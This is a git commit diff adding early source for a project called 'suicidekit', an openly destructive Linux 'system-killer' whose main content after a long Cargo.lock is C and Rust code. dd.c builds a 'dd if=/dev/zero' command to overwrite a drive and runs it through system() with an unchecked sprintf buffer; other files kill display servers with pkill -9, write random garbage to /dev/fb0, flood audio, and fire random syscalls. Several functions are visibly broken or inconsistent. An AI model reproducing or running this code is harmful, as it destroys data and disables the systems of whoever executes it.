diff options
| author | Namilskyy <alive6863@gmail.com> | 2025-10-29 00:17:37 +0300 |
|---|---|---|
| committer | Namilskyy <alive6863@gmail.com> | 2025-10-29 00:18:11 +0300 |
| commit | 6833ea062f264ff35773f23f6f68b293b4cfec34 (patch) | |
| tree | 94729c4364bc1a304e295b31cae89dca0b845832 | |
| parent | d7c64d28e1bb3a9e8f563704128593da80b9f0a7 (diff) | |
Implemented some not critical functions.
| -rw-r--r-- | Cargo.lock | 336 | ||||
| -rw-r--r-- | Cargo.toml | 8 | ||||
| -rw-r--r-- | NIXES_COMPATABILITY.md | 0 | ||||
| -rw-r--r-- | README.MD | 0 | ||||
| -rw-r--r-- | WINDOWS_COMPATABILITY.MD | 0 | ||||
| -rw-r--r-- | src/critical/dd.c | 9 | ||||
| -rw-r--r-- | src/critical/dd.h | 3 | ||||
| -rw-r--r-- | src/main.rs | 3 | ||||
| -rw-r--r-- | src/non_critical/_tools.c | 44 | ||||
| -rw-r--r-- | src/non_critical/_tools.h | 5 | ||||
| -rw-r--r-- | src/non_critical/gui_destroyer.rs | 34 | ||||
| -rw-r--r-- | src/non_critical/random_sounds.c | 34 | ||||
| -rw-r--r-- | src/non_critical/random_sounds.h | 4 | ||||
| -rw-r--r-- | src/non_critical/syscall_storm.c | 44 | ||||
| -rw-r--r-- | src/non_critical/syscall_storm.h | 4 |
15 files changed, 528 insertions, 0 deletions
diff --git a/Cargo.lock b/Cargo.lock new file mode 100644 index 0000000..776ded9 --- /dev/null +++ b/Cargo.lock @@ -0,0 +1,336 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "anstream" +version = "0.6.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "43d5b281e737544384e969a5ccad3f1cdd24b48086a0fc1b2a5262a26b8f4f4a" +dependencies = [ + "anstyle", + "anstyle-parse", + "anstyle-query", + "anstyle-wincon", + "colorchoice", + "is_terminal_polyfill", + "utf8parse", +] + +[[package]] +name = "anstyle" +version = "1.0.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5192cca8006f1fd4f7237516f40fa183bb07f8fbdfedaa0036de5ea9b0b45e78" + +[[package]] +name = "anstyle-parse" +version = "0.2.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e7644824f0aa2c7b9384579234ef10eb7efb6a0deb83f9630a49594dd9c15c2" +dependencies = [ + "utf8parse", +] + +[[package]] +name = "anstyle-query" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e231f6134f61b71076a3eab506c379d4f36122f2af15a9ff04415ea4c3339e2" +dependencies = [ + "windows-sys", +] + +[[package]] +name = "anstyle-wincon" +version = "3.0.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3e0633414522a32ffaac8ac6cc8f748e090c5717661fddeea04219e2344f5f2a" +dependencies = [ + "anstyle", + "once_cell_polyfill", + "windows-sys", +] + +[[package]] +name = "cfg-if" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" + +[[package]] +name = "clap" +version = "4.5.50" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c2cfd7bf8a6017ddaa4e32ffe7403d547790db06bd171c1c53926faab501623" +dependencies = [ + "clap_builder", +] + +[[package]] +name = "clap_builder" +version = "4.5.50" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0a4c05b9e80c5ccd3a7ef080ad7b6ba7d6fc00a985b8b157197075677c82c7a0" +dependencies = [ + "anstream", + "anstyle", + "clap_lex", + "strsim", +] + +[[package]] +name = "clap_lex" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1d728cc89cf3aee9ff92b05e62b19ee65a02b5702cff7d5a377e32c6ae29d8d" + +[[package]] +name = "colorchoice" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b05b61dc5112cbb17e4b6cd61790d9845d13888356391624cbe7e41efeac1e75" + +[[package]] +name = "getrandom" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "899def5c37c4fd7b2664648c28120ecec138e4d395b459e5ca34f9cce2dd77fd" +dependencies = [ + "cfg-if", + "libc", + "r-efi", + "wasip2", +] + +[[package]] +name = "is_terminal_polyfill" +version = "1.70.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6cb138bb79a146c1bd460005623e142ef0181e3d0219cb493e02f7d08a35695" + +[[package]] +name = "libc" +version = "0.2.177" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2874a2af47a2325c2001a6e6fad9b16a53b802102b528163885171cf92b15976" + +[[package]] +name = "once_cell_polyfill" +version = "1.70.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "384b8ab6d37215f3c5301a95a4accb5d64aa607f1fcb26a11b5303878451b4fe" + +[[package]] +name = "ppv-lite86" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" +dependencies = [ + "zerocopy", +] + +[[package]] +name = "proc-macro2" +version = "1.0.103" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ee95bc4ef87b8d5ba32e8b7714ccc834865276eab0aed5c9958d00ec45f49e8" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.41" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce25767e7b499d1b604768e7cde645d14cc8584231ea6b295e9c9eb22c02e1d1" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "5.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f" + +[[package]] +name = "rand" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6db2770f06117d490610c7488547d543617b21bfa07796d7a12f6f1bd53850d1" +dependencies = [ + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3022b5f1df60f26e1ffddd6c66e8aa15de382ae63b3a0c1bfc0e4d3e3f325cb" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "99d9a13982dcf210057a8a78572b2217b667c3beacbf3a0d8b454f6f82837d38" +dependencies = [ + "getrandom", +] + +[[package]] +name = "strsim" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" + +[[package]] +name = "suicidekit" +version = "0.1.0" +dependencies = [ + "clap", + "rand", +] + +[[package]] +name = "syn" +version = "2.0.108" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da58917d35242480a05c2897064da0a80589a2a0476c9a3f2fdc83b53502e917" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "unicode-ident" +version = "1.0.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "462eeb75aeb73aea900253ce739c8e18a67423fadf006037cd3ff27e82748a06" + +[[package]] +name = "utf8parse" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821" + +[[package]] +name = "wasip2" +version = "1.0.1+wasi-0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0562428422c63773dad2c345a1882263bbf4d65cf3f42e90921f787ef5ad58e7" +dependencies = [ + "wit-bindgen", +] + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-sys" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2f500e4d28234f72040990ec9d39e3a6b950f9f22d3dba18416c35882612bcb" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-targets" +version = "0.53.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4945f9f551b88e0d65f3db0bc25c33b8acea4d9e41163edf90dcd0b19f9069f3" +dependencies = [ + "windows-link", + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_gnullvm", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a9d8416fa8b42f5c947f8482c43e7d89e73a173cead56d044f6a56104a6d1b53" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9d782e804c2f632e395708e99a94275910eb9100b2114651e04744e9b125006" + +[[package]] +name = "windows_i686_gnu" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "960e6da069d81e09becb0ca57a65220ddff016ff2d6af6a223cf372a506593a3" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa7359d10048f68ab8b09fa71c3daccfb0e9b559aed648a8f95469c27057180c" + +[[package]] +name = "windows_i686_msvc" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e7ac75179f18232fe9c285163565a57ef8d3c89254a30685b57d83a38d326c2" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c3842cdd74a865a8066ab39c8a7a473c0778a3f29370b5fd6b4b9aa7df4a499" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ffa179e2d07eee8ad8f57493436566c7cc30ac536a3379fdf008f47f6bb7ae1" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6bbff5f0aada427a1e5a6da5f1f98158182f26556f345ac9e04d36d0ebed650" + +[[package]] +name = "wit-bindgen" +version = "0.46.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f17a85883d4e6d00e8a97c586de764dabcc06133f7f1d55dce5cdc070ad7fe59" + +[[package]] +name = "zerocopy" +version = "0.8.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0894878a5fa3edfd6da3f88c4805f4c8558e2b996227a3d864f47fe11e38282c" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88d2b8d9c68ad2b9e4340d7832716a4d21a22a1154777ad56ea55c51a9cf3831" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..8c9ba78 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,8 @@ +[package] +name = "suicidekit" +version = "0.1.0" +edition = "2021" + +[dependencies] +clap = "4.5.50" +rand = "0.9.2" diff --git a/NIXES_COMPATABILITY.md b/NIXES_COMPATABILITY.md new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/NIXES_COMPATABILITY.md diff --git a/README.MD b/README.MD new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/README.MD diff --git a/WINDOWS_COMPATABILITY.MD b/WINDOWS_COMPATABILITY.MD new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/WINDOWS_COMPATABILITY.MD diff --git a/src/critical/dd.c b/src/critical/dd.c new file mode 100644 index 0000000..f3ca875 --- /dev/null +++ b/src/critical/dd.c @@ -0,0 +1,9 @@ +#include <stdlib.h> +#include <unistd.h> +#include <stdio.h> + +void random_data_linux(char sym_drive[16]) { + char command[55]; + sprintf(command, "dd if=/dev/zero of=%s bs=1024 count=1024", sym_drive); + system(command); +} diff --git a/src/critical/dd.h b/src/critical/dd.h new file mode 100644 index 0000000..70d855e --- /dev/null +++ b/src/critical/dd.h @@ -0,0 +1,3 @@ +#pragma once + +void andom_data_linux(char sym_drive[16]);
\ No newline at end of file diff --git a/src/main.rs b/src/main.rs new file mode 100644 index 0000000..e7a11a9 --- /dev/null +++ b/src/main.rs @@ -0,0 +1,3 @@ +fn main() { + println!("Hello, world!"); +} diff --git a/src/non_critical/_tools.c b/src/non_critical/_tools.c new file mode 100644 index 0000000..8c69d78 --- /dev/null +++ b/src/non_critical/_tools.c @@ -0,0 +1,44 @@ +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <unistd.h> +#include <string.h> + +int check_root() { + if(getuid() == 0) { + return 1; + } + return 0; +} + +int check_pid(int pid) { + if(getpid() == pid) { + return 1; + } + return 0; +} + + +char* get_os_name() { + FILE* file = fopen("/etc/os-release", "r"); + if (file == NULL) { + perror("fopen"); + return NULL; + } + + char line[256]; + while (fgets(line, sizeof(line), file)) { + char* name = strstr(line, "NAME="); + if (name != NULL) { + name += 5; // skip "NAME=" + char* end = strchr(name, '\n'); + if (end != NULL) { + *end = '\0'; + } + return name; + } + } + + fclose(file); + return NULL; +}
\ No newline at end of file diff --git a/src/non_critical/_tools.h b/src/non_critical/_tools.h new file mode 100644 index 0000000..e56b194 --- /dev/null +++ b/src/non_critical/_tools.h @@ -0,0 +1,5 @@ +#pragma once + +int check_root(); +int check_pid(); +char* get_os_name(); diff --git a/src/non_critical/gui_destroyer.rs b/src/non_critical/gui_destroyer.rs new file mode 100644 index 0000000..a7d1c75 --- /dev/null +++ b/src/non_critical/gui_destroyer.rs @@ -0,0 +1,34 @@ +#![no_main] +use std::process; +use std::io::Error; +use rand::{Rng, thread_rng}; + +extern "C" { + fn check_root() -> i32; +} + +// Pfff its to light for this project, but why not +fn artifacts_and_kill(root: bool) -> Result<(), std::io::Error> { + std::process::Command::new("pkill") + .args(&["-9", "Xorg", "xinit", "gnome-shell", "kwin_wayland", "plasmashell"]) + //TODO: Add more process names of the processes you want to kill + .spawn().unwrap(); + + if root == true && let Ok(fb) = std::fs::File::create("/dev/fb0"){ + let mut rng = rand::thread_rng(); + for _ in 0..1000 { + let garbage: Vec<u8> = (0..1024).map(|_| rng.gen()).collect(); + let _ = fb.write(&garbage); + } + } +} + + +fn init() -> Result<(), std::io::Error> { + if check_root() == 0 { + artifacts_and_kill(true) + } else { + artifacts_and_kill(false) + } +} + diff --git a/src/non_critical/random_sounds.c b/src/non_critical/random_sounds.c new file mode 100644 index 0000000..315c992 --- /dev/null +++ b/src/non_critical/random_sounds.c @@ -0,0 +1,34 @@ +#include <alsa/asoundlib.h> +#include <stdint.h> +#include <stdlib.h> +#include <pthread.h> + +#define MAX_THREADS 5 + +pthread_t THRS[MAX_THREADS]; + +static void* audio_hell() { + snd_pcm_t *pcm_handle; + snd_pcm_open(&pcm_handle, "default", SND_PCM_STREAM_PLAYBACK, 0); + + int16_t buffer[4410]; + for(int i = 0; i < 4410; i++) { + buffer[i] = rand() % 65536 - 32768; + } + + while(1) { + snd_pcm_writei(pcm_handle, buffer, 4410); + } +} + +int init(int threads, int time) { + for(int i = 0; i < MAX_THREADS; i++) { + pthread_create(&THRS[i], NULL, audio_hell, NULL); + } +} + +void stop() { + for(int i = 0; i < MAX_THREADS; i++) { + pthread_cancel(THRS[i]); + } +}
\ No newline at end of file diff --git a/src/non_critical/random_sounds.h b/src/non_critical/random_sounds.h new file mode 100644 index 0000000..227935b --- /dev/null +++ b/src/non_critical/random_sounds.h @@ -0,0 +1,4 @@ +#pragma once + +int init(int threads, int time); +void stop();
\ No newline at end of file diff --git a/src/non_critical/syscall_storm.c b/src/non_critical/syscall_storm.c new file mode 100644 index 0000000..bfe7dde --- /dev/null +++ b/src/non_critical/syscall_storm.c @@ -0,0 +1,44 @@ +#define _GNU_SOURCE +#define MAX_THREADS 5 + +#include <sys/syscall.h> +#include <unistd.h> +#include <stdlib.h> +#include <pthread.h> +#include <stdio.h> + +pthread_t THRS[MAX_THREADS]; + + +static void* syscall_storm_linux(void* iterations) { + while(1) { + for(int i = 0; 1 < iterations; i++) { + syscall(rand() % 400, rand() / rand()); + printf("%d. Called rand(), from thread %d", i); + } +} +} + +int init(int threads, int iterations) { + if (threads > 5) { + printf("ERR: Max treads 5, %d required", threads); + return NULL; + } + + for(int i = 0; i < MAX_THREADS; i++) { + int thread_args[i] = i; + if (pthread_create(&THRS[i], NULL, syscall_storm_linux, thread_args) != 0) { + printf("ERR: Could not create thread %d", i); + return NULL; + } + }; +} + +void stop() { + for(int i = 0; i < MAX_THREADS; i++) { + pthread_cancel(THRS[i]); + } +} + +//TODO: Fix this and create random shit-syscall chooser. Maximaly shitcoded!!! Its system-killer, not a default program +//TODO: Add support for other *NIXes
\ No newline at end of file diff --git a/src/non_critical/syscall_storm.h b/src/non_critical/syscall_storm.h new file mode 100644 index 0000000..6535f3a --- /dev/null +++ b/src/non_critical/syscall_storm.h @@ -0,0 +1,4 @@ +#pragma once + +int init(int threads, int iterations); +void stop();
\ No newline at end of file |
